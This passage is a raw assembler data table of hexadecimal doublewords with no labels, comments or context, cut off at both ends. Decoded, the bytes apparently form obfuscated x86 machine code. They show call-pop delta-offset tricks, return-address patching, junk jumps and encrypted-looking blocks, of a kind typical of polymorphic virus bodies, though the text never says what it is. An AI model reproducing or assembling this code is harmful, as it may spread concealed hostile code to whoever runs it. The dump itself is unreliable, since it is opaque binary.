0D1C6E24h dd 8B660E6Bh, 0B59D0BDAh, 0FF061B08h, 1EAD99B5h, 0FF17B306h dd 1B011195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 0BE0997Dh, 0C018589h, 800F061Bh dd 5, 36EB8166h, 8DB58BDAh, 0C7061EADh, 1000106h, 19D8B00h dd 96061B07h, 952BBF66h, 96DE8B50h, 1105B589h, 0B5FF061Bh dd 61EAD99h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 0DFC35242h, 0FFDE8ACBh, 1B1BC995h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 97C06173h, 8D312AE8h, 61B2E39h, 0AD8DB58Bh, 6A061Eh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 43A4C8C3h, 2CCA8884h, 25858B07h, 6A061B0Dh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 69C6C355h, 6870Fh, 9D890000h, 61B1219h, 68B0Fh, 0B5890000h dd 61B1D21h, 0C48689h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 52821AC3h, 0D98AB05Dh dd 2429958Bh, 9D03061Bh, 61B0D21h, 6A04C283h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 89B8C356h, 1B23FDBDh, 8B665006h, 50895FFAh, 57006A20h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 0B96D6719h, 66616C04h, 8DC707BBh, 1EC0C785h, 71BD8B06h dd 89061B19h, 0B886h, 3ABF6600h, 6A006A2Ch, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0DE1AC356h dd 6D9C3546h, 81F21650h, 919E5FCFh, 99B5FF45h, 6A061EADh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 1D3BC355h, 0C0475186h, 2D95FFFDh, 0E9061B14h dd 13h, 5B27892h, 544DECBEh, 6AE8D7D1h, 0B7902A1h, 31798721h dd 1B08319Dh, 96509606h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 99C35141h, 0D9DE77EAh, 0EECC25E4h, 99B5FF4Ah dd 6A061EADh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 0E5F1C350h, 6F0CF781h, 89E32525h dd 1B140DBDh, 9195FF06h, 0FC061B1Bh, 0C81BD83h, 0F00061Bh dd 1C84h, 9D8B6000h, 61B0DD1h, 0E008D8BFh, 0BF506165h dd 4292A034h, 31243489h, 1B006185h, 99B5FF06h, 6A061EADh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 0FF12C352h, 1B0BD595h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0B70FA48Bh dd 0AE8DAh, 8D920000h, 91851442h, 0F8E9E4EDh, 23B58509h dd 0FF5B061Bh, 1EAD99B5h, 4D953106h, 0FF061B2Dh, 1B1A0995h dd 0D5BD0306h, 0E9061B16h, 14h, 9871C5F5h, 151B896h, 9D519C99h dd 6D266B25h, 229A4D02h, 7A5BD83h, 0F02061Bh, 1584h, 0F5952900h dd 8B061B0Dh, 1B303185h, 0C606h, 6118C781h, 85C72444h dd 61B2BD5h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0F6C35646h dd 0C4DBD33h, 53E9061Bh, 8BFFFFF3h, 1B14159Dh, 0E9C18B06h dd 5, 0C89BB23Eh, 5BD0B42h, 8D061B32h, 1B32ED85h, 8CACBF06h dd 88BF10CAh, 5001846Eh, 9E85250h, 88000000h, 5D5B743Ah dd 4FD093DFh, 14E9h, 3FDE6500h, 863A02E8h, 0D64CB7F0h dd 1A0EA74Ch, 6E6BADF6h, 310F5BF9h, 70C4BF66h, 489585Ah dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 19B50189h, 80061B2Fh, 6A2DDFh, 1831BD8Bh dd 6A061Bh, 8D95D380h, 1FE94285h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 10385111h dd 84D9D8Bh, 0AB7061Bh, 9005C083h, 50FE8B66h, 20DC14BFh dd 6A901Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 6A3AC3h, 1EC99D8Bh, 6A061Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 7BC35646h, 0D1B9C023h dd 9D8B3042h, 61B2999h, 1A0195FFh, 6A061Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0A2848DC3h dd 0FB8B8EC0h, 2AF8BF66h, 92B78D8Dh, 6A061Eh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 9D635FC3h dd 0FC8A9CFh, 68Ah, 0F1B53100h, 0F5061B20h, 6AD1FFh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 841723C3h, 0F381E16Ch, 0B6F0B52h, 0BD83F88Bh, 61B1CD5h dd 90850F01h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 86CDC352h, 321D8589h dd 26A061Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 0EFC35040h, 0A43D4D77h, 66DBADE6h, 0D381D88Bh dd 12746C95h, 0DF8B6690h, 15BF6650h, 6A9079h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0FE15DCC3h dd 0A06BEF5Bh, 0F9609585h, 0FF61D18Bh, 1B142D95h, 0D9D8906h dd 0E9061B09h, 0DECh, 0E8h, 0ED815D00h, 61FE94Ch, 68F0Fh dd 9D8B0000h, 61B23CDh, 0C6D78166h, 0EE93Fh, 5F0F0000h dd 1380CE47h, 7FA4742Dh, 77D1F437h, 853D858Dh, 6A061Eh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 801F91C3h, 8B506BCFh, 240489FBh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 2DC35040h, 7E817C1h, 0A1000000h dd 0B10F3BCAh, 5F572E8Bh, 0A5BD8B5Bh, 64061B12h, 35FFh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 989813C3h, 0FD8589E7h, 64061B1Eh, 2589h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 5A9519C3h, 34D64402h, 675FC7BBh, 0D85FF16h dd 6A061B2Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 8BB3C352h, 1B0F35BDh, 6AFF6A06h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 0D21CC355h, 7166CED5h, 179DBD8Bh, 0B5FF061Bh dd 61B25D9h, 595FFFCh, 0E9061B08h, 15Bh, 11E9h, 442400h dd 0A70EEAA6h, 0AABD9910h, 85CFA91Ch, 0B095FAh, 944F35BBh dd 8170E64Dh, 11DEAAD3h, 8B71E426h, 1B14599Dh, 6E906h dd 0F3640000h, 0EEE3CC28h, 830F613Ch, 11Bh, 32E98D89h dd 0B60F061Bh, 19B501C8h, 0BA061B30h, 6, 97A9CF81h, 0C18B3038h dd 0BB1BD8Bh, 0E8C1061Bh, 0BD8B6004h, 61B227Dh, 11E9h dd 5C8DDC00h, 344EC062h, 70655194h, 61EF31AAh, 6661B364h dd 9D2BE2F7h, 61B1971h, 8A0FC82Bh, 12h, 0DE9h, 0B8D16F00h dd 8E8B5142h, 45BC39A4h, 0D18B1FA0h, 1A19D8Bh, 0A8E9061Bh dd 81000000h, 215646C7h, 50858B0Ah, 6647554Ch, 821DF81h dd 0E907C083h, 8, 68D3FF49h, 1103C687h, 121BD89h, 0C083061Bh dd 75BD8900h, 3B061B1Ah, 10830FD0h, 81000000h, 2272A3EFh dd 0E9FB8B00h, 63h, 8BFE8B66h, 0FFFFFF8Dh, 0D19529FFh dd 83061B0Bh, 840F01E1h, 4Bh, 5890Fh, 81660000h, 0E99A2FE3h dd 7, 8032E3F0h, 83B2A897h, 0FFFFFFA5h, 8A60FEFFh, 0D98D31EBh dd 61061B12h, 2609BD8Bh, 9589061Bh, 47554C50h, 0DE9h, 0DABD0900h dd 0E53F11C9h, 7403BB0Fh, 0E98122h, 8D000000h, 1F6D5CB5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 6ACA90h, 29599589h, 95FF061Bh, 61B2205h dd 1181BD8Bh, 0B9061Bh, 0F500000Fh, 81FCE183h, 0AD9F03EFh dd 0B160FC1Fh, 0EB816662h, 2B619AF0h, 56006AC0h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0B75ECBF2h, 0D04B5BDAh, 0E9BD8BF7h, 0F061B24h, 689h dd 41858900h, 2B061B09h, 56006AD2h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 70D7694Fh, 67534BCCh dd 4F8DBB66h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0AE9h dd 9A4BB500h, 72EBFBF0h, 318AA81Fh, 1B17D59Dh, 71958906h dd 0D061B00h, 88h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 44C35545h, 29958BF3h, 0F5061B24h, 7658D8Bh dd 50F5061Bh, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 29A69A49h, 1B17B985h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 1502E528h dd 8B0E5344h, 1B2915BDh, 69BD8306h, 61B17h, 6B840Fh, 9D890000h dd 61B1419h, 0B8h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 923C71A1h, 8D892A2Eh dd 61B3149h, 3229B589h, 8D8D061Bh, 61B4CD3h, 6AE1FFF9h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0B7F6C356h, 9A328D82h, 8B1CA8B1h, 1B1E79BDh dd 0D1BD8306h, 61B13h, 3F9840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 95177AC3h dd 30FCFD48h, 9D8BF350h, 61B0C01h, 13D1BD83h, 0F01061Bh dd 3DD84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 0D88B6691h, 27D88ABBh, 0D1BD8337h dd 3061B13h, 376860Fh, 7E90000h, 0EA000000h, 8B4FAD12h dd 0BF60D77Ch, 68534C46h, 0E9D98C66h, 8, 0CA9BE4E7h, 731876FDh dd 104E180h, 1B2F9D9Dh, 0FC90A06h, 10484h, 9CD2BB00h, 858B6A48h dd 61B0145h, 318533FCh, 0E8061B2Ah, 0Dh, 54348E9Bh, 356584FEh dd 0AC5E479h, 0EE931h, 4AE70000h, 0CA926073h, 8152DE4Eh dd 0EB16AB26h, 89BB905Fh, 507B7EC5h, 14E960h, 46D20000h dd 53917331h, 6C88FC5h, 8E78FEE0h, 215FD9FBh, 2EB93293h dd 61060003h, 56006A90h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 6A157A4Ah, 7E800h, 86630000h, 0E46218CFh, 1852974h dd 5F061B07h, 0CE9h, 0BA518300h, 66B06021h, 0E0576733h dd 93756819h, 481B735h, 0E9708A24h, 53006A48h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 53BA7BCFh dd 323595FFh, 0DE8B061Bh, 0AD998589h, 0F780061Eh, 18FE9E0h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 63C181C3h, 91858BDFh, 6A061EADh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 0D6ECC356h, 8870F32Ch, 0C7F8C9E6h, 1800h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 3B633D32h, 9FF97FC6h, 0DA8B66E6h, 0AD95B58Bh, 6A061Eh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 0D7C37EC3h, 3438351Ah, 0F0AD42Eh, 686h, 719D2900h, 8B061B19h dd 1B122985h, 89DD8A06h, 59D38006h, 145858Bh, 6A061Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0A35D17C3h, 2772E3B0h, 0DA8BB817h, 0F044689h, 582h dd 4F4DBF00h, 8B96238Dh, 5B5750FEh, 0EB816696h, 0B5FF8A16h dd 61EAD91h, 13419D03h, 0D868061Bh, 50FA9514h, 9E8h, 6EB86D00h dd 7ABC5868h, 5F5FA297h, 27240481h, 6A0589EFh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 0FD7C357h, 681h, 81BD8900h, 0F061B11h, 858DD8B7h, 61EAD99h dd 90C0BB66h, 3BBB6650h, 24048973h, 28FDB501h, 95FF061Bh dd 61B3235h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 0CDC35141h, 6A6112h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 8173A1C3h, 75BF6675h dd 8820F09h, 0F000000h, 283h, 0FB0B700h, 0A80h, 61606000h dd 1BCDB58Bh, 0C761061Bh, 1B13D185h, 306h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 8D895948h, 61B2381h, 0AD99BD83h, 0F00061Eh, 5384h, 0D7816600h dd 0BD2B8350h, 61B1251h, 5EE9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 2F957C91h dd 8942E87Fh, 1B25D59Dh, 11E806h, 0A06D0000h, 0D4781477h dd 4E0D516Ch, 8F52941Fh, 66803C9Fh, 5F4BA7BBh, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 3B11C352h, 146424CCh, 0F84D877h, 0F09BD8Bh, 0B589061Bh dd 61B16B1h, 0FAD78166h, 0D1BD83F2h, 3061B13h, 487850Fh dd 0BD830000h, 61EAD99h, 7A840F00h, 0E9000004h, 10h, 0FB0EF61Dh dd 812B6D59h, 5419BBFDh, 0EE3AC4Dh, 0DE9h, 55E08300h, 1280C743h dd 0C794DFBh, 0B5FF0E29h, 61EAD99h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 15C35646h, 8DBDFADDh, 66600813h dd 66A28CBFh, 0FFE9EDBBh, 1B011195h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 37780D23h dd 8DB58B77h, 6A061EADh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 0E770C356h, 0C5F700FBh dd 0B5BD237Bh, 0C7061B02h, 1000106h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 325956D0h dd 0A20EFF0Eh, 0C99D29F2h, 3061B22h, 1B305D9Dh, 13BF5006h dd 890482A7h, 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 3330B5C3h, 5C448089h, 2C15BD8Bh dd 0B5FF061Bh, 61EAD99h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 50C35545h, 0AC6B7BCEh, 3A4EAE01h, 0EE9FAh dd 34800000h, 4577D7F6h, 77DD4009h, 3D8671ABh, 1BC995FFh dd 6A061Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 15A830C3h, 0B58BB4D2h, 61EAD8Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 61C35646h, 36EBAFEAh dd 0B19D8BA6h, 8B061B07h, 1B0D2585h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 8689FCBAh dd 0C4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 0A8C35343h, 0A9FAD22h, 609B0CE3h, 8B61F38Bh, 1B242995h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 81C67561h, 73519A52h, 98B0FB1h, 0F000000h dd 388h, 0DBB70F00h, 6A04C283h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 8A0EC355h, 205089FAh dd 0C0C7858Dh, 6A061Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 306511C3h, 0B7700883h, 8144E0CCh dd 3D22FAC7h, 0B8868912h, 29000000h, 1B31B985h, 0BF006A06h dd 52597462h, 0AD99B5FFh, 0B660061Eh, 0D18D8B3Ch, 61061B02h dd 142D95FFh, 6A061Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 89D655C3h, 1B21B5BDh, 0FE8B6606h dd 138A0F50h, 0E9000000h, 0Eh, 735845E4h, 0B318E0Eh, 8F9C8FD9h dd 3489C539h, 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 0AAE81757h, 0FF14F799h, 1EAD99B5h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 38CC6F5Dh, 4AC2E0BBh, 9195FF41h, 0F061B1Bh dd 84h, 81BD8300h, 61B0Ch, 6F840Fh, 5E80000h, 0B3000000h dd 0F1FEFCFh, 5BBCF780h, 3C99D8Bh, 6050061Bh, 11E95250h dd 40000000h, 0C517AAA6h, 0FFD1AC5Bh, 21D3A6EBh, 660983BFh dd 0FE8B310Fh, 8961585Ah, 6A2434h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 0C54487C3h, 750CE52Ah dd 8C0FBF83h, 0Dh, 8E9h, 622DE900h, 0D12F8727h, 99B5FFF8h dd 0F061EADh, 283h, 0FFF88B00h, 1B0BD595h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 98AD656Ch, 99B5FFE2h, 66061EADh, 0C8F9CF81h, 1A0995FFh dd 6A061Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 7B38B2C3h, 8377DEADh, 1B07A5BDh, 840F0206h dd 37h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h dd 6DC35747h, 8910AE6Bh, 1B0EA185h, 31858B06h, 0F061B30h dd 0C6DAB7h, 18D8900h, 0C7061B04h, 1B2BD585h, 6, 51A4B300h dd 0F37FE95Fh, 6AFFFFh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 471557C3h, 10E8h, 0F1B1B500h, 0E0DF749Eh, 5AA67011h dd 0EA394AB5h, 0DF816697h, 8B5F74D8h, 50006AC1h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0A148095Dh, 32ED858Dh, 5B50061Bh, 53C3DB81h, 0F503CDEh dd 488h, 0B5BF6600h, 24048987h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 93C35242h, 0DE9B58DDh, 890F7995h dd 4, 745EBB66h, 2515BD89h, 6A061Bh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 50C35343h, 88F49043h, 8D89B6DAh dd 61B3011h, 7D8589h, 6A061Bh, 8D5AF780h, 1FF93D85h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0C083EE99h, 0A3BB6605h, 11BD29F1h, 50061B19h, 0CE9h dd 0EB294300h, 9D2798D8h, 557CD12Bh, 24048987h, 12870F56h dd 0E9000000h, 0Dh, 1E3F2445h, 64B19E24h, 937735C3h, 6A5F08h dd 5FF88B51h, 870F006Ah, 2, 95FF79B3h, 61B1A01h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 23C35343h, 3B1F7B92h dd 0C2EA8242h, 0E8DE8BE9h, 7, 58689F1h, 66D7710Ah, 5B506EBFh dd 92B78D8Dh, 9D29061Eh, 61B18E1h, 0BF9D1FFh, 1B2225BDh dd 0D5BD8306h, 1061B1Ch, 0B8850Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 6950E6C3h dd 4E9626C2h, 8BD05D32h, 1B25559Dh, 6A026A06h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 5BFC355h, 0FD0FBB66h, 23B5B589h, 0BF66061Bh, 8B900E3Eh dd 6A9050FBh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 4FB5C356h, 342A6AA3h, 0BE9B750h dd 70000000h, 42552965h, 0D98B9A8Ch, 95FF6F0Fh, 61B142Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 59C35646h dd 1EB59D8Bh, 0EEE9061Bh, 0E800000Ch, 0 dd 47ED815Dh, 0F061FF9h, 6AFFB7h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 6FBFDDC3h, 0BB6601DEh dd 858DB1B3h, 61E853Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 6EC35242h, 1DBEC4B0h, 8B66512Bh, 905090DFh dd 13E8h, 0CA117A00h, 7D09580Bh, 1F7C13A1h, 79998432h dd 0D7DCDE70h, 2820Fh, 0DF8B0000h, 29BD895Fh, 64061B25h dd 35FFh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 0DC9593C3h, 29602654h, 1B0D9D85h dd 89646106h, 25h, 0DDBD8900h, 0FF061B10h, 1B2B0D85h, 0FF6AF806h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 4CC35141h dd 0B529EC1Bh, 61B1679h, 7B5B5FFh, 9509061Bh, 61B1321h dd 80595FFh, 0FFE9061Bh, 0F000000h, 198Dh, 14E900h, 0D5CB0000h dd 0A55154CDh, 4637899h, 6C97B4FEh, 3CD9462Ah, 0B06EBAh dd 8B9BD8Bh, 70E6061Bh, 25E9B589h, 71E4061Bh, 0F613CF5h dd 0C583h, 1D9D8B00h, 0F061B09h, 0BD8BC8B6h, 61B1A69h dd 6BAh, 40BF6600h, 819D33D4h, 8B061B32h, 499D8BC1h, 0C1061B21h dd 816604E8h, 511F54DFh, 1AB8E381h, 665B6282h, 0C82BE2F7h dd 81D18BF8h, 0BB550BEFh, 7CE97Fh, 9D8B0000h, 61B0391h dd 49858BFCh, 8944004Eh, 1B09BD95h, 0A0BF6606h, 7C083E8h dd 9E9h, 4B879300h, 56C18A4Ch, 0C0838598h, 0FD03B00h, 0B83h dd 559D8B00h, 0E9061B0Dh, 3Eh, 0FFFF8D8Bh, 0B589FFFFh dd 61B25F1h, 7FD7FBBBh, 1E1832Fh, 24840Fh, 0B5890000h dd 61B1BADh, 0FFFFA583h, 8BFEFFFFh, 1B12E1BDh, 49958906h dd 3144004Eh, 1B303D8Dh, 0E906h, 0B58D0000h, 61F7C5Ch dd 0C0DB589h, 6A061Bh, 3518D89h, 830F061Bh, 6, 7618D01h dd 95FF061Bh, 61B2205h, 31EDBD33h, 9BB9061Bh, 6A000010h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0A55FC357h, 8D2902C7h, 61B0919h, 66FCE183h dd 0FCFCAABBh, 11E9h, 0CAC98500h, 0A2727453h, 0F8B9A9AEh dd 249F0775h, 0C02B9389h, 4C38166h, 29D22B78h, 1B323D8Dh dd 0C233AD06h, 0D003E8D1h, 7504E983h, 56006AF4h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 6A092Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 0B311F5C3h, 14E96Eh, 62ED0000h, 99F22C67h dd 0D505F32Fh, 642C61A7h, 0A8D5DCh, 880DE81Ah, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 55EFC352h, 0BD334E28h, 61B3321h, 8BD98B66h dd 1B242995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 0C2C694F3h, 8B6B4D2Dh, 658D8BFBh dd 6A061B07h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 853AC352h, 8B50FE8Bh, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E9D88B66h, 0Ch, 0E46196Dh dd 0B5BACD8Bh, 0B1B1752Ah, 66DBD89h, 0BD83061Bh, 61B1769h dd 7A840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 2DFCC350h, 4A7354D7h dd 0B8E66517h, 0 dd 0D38D8DF9h, 6A061B4Ch, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 0B5D2C352h, 0BBE794D2h dd 3FC8D8EEh, 6AE1FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 89FD0AC3h, 1B1985BDh, 0D1BD8306h dd 61B13h, 3D3840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 0EB0615C3h, 0B4B8035Fh dd 0BD83C579h, 61B13D1h, 0BD840F01h, 6A000003h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0B718C352h, 38C76BE4h, 0F34C536h, 38Dh, 0F6F78000h dd 13D1BD83h, 0F03061Bh, 34D86h, 41BD0100h, 60061B33h dd 0D4DB589h, 8C66061Bh, 2DBD8BD9h, 80061B11h, 6A04E1h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0CB1B49C3h, 1A2861h, 2BEAB79Ch, 1B00DD9Dh, 0FC90A06h dd 0A284h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 0FCB6A0Ah, 687h, 91BD8B00h, 8B061B1Ah dd 1B014585h, 7E906h, 0A05F0000h, 7E057269h, 318533F5h dd 0F061B2Ah, 688h, 31958900h, 50061B09h, 0EE9ABF66h, 89240489h dd 1B0F05B5h, 8860F06h, 60000000h, 13C98589h, 6A61061Bh dd 0B9B50100h, 68061B10h, 0A228F284h, 481B1B3h, 0F6117B24h dd 3595FF5Dh, 8B061B32h, 1B08559Dh, 99858906h, 66061EADh dd 88E0C381h, 1F1E9h, 0D8D2900h, 8B061B01h, 1EAD9185h dd 1800C706h, 81000000h, 94F358F7h, 95B58B1Eh, 6A061EADh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 8BFEC355h, 1B29ED9Dh, 820F06h, 8B000000h dd 1B122985h, 8D8B6006h, 61B119Dh, 0EE9h, 2FEFDF00h, 5C1381E9h dd 5809CDC8h, 6104DD27h, 6A0689h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 64E68DC3h, 858B3DBEh dd 61B0145h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 0C35646h, 0F64651D7h, 44689C1h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 19h, 0B1C35242h, 0B0D30739h dd 98509B3h, 96061B0Fh, 0E9505F56h, 5, 19A5D1D2h, 0EE9968Eh dd 36000000h, 0EB22C6F4h, 22EB0BDBh, 3DCF511Eh, 91B5FFBEh dd 6A061EADh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 326BC352h, 0E7D04F8h, 109D9D89h dd 4E8061Bh, 0FF000000h, 66001F03h, 6050FA8Bh, 4919BA66h dd 61C006BBh, 448B610Eh, 5AB30424h, 0DE9008Bh, 0B8000000h dd 0BE668513h, 0B8B5C0CFh, 83E58B66h, 4244489h, 6B00ECBFh dd 0BF0F586Eh, 458589DBh, 8D061B25h, 1EAD9985h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0E9909C8Bh, 0Ah, 7EA38339h, 91A30C0Bh, 0BF502F63h, 51B58076h dd 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 0D9246FA5h, 95FFC1B3h, 61B3235h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 3C35242h, 0D381666Ah dd 8B611837h, 1B023DBDh, 0D185C706h, 3061B13h, 8B000000h dd 1B2ED59Dh, 99BD8306h, 61EADh, 50840Fh, 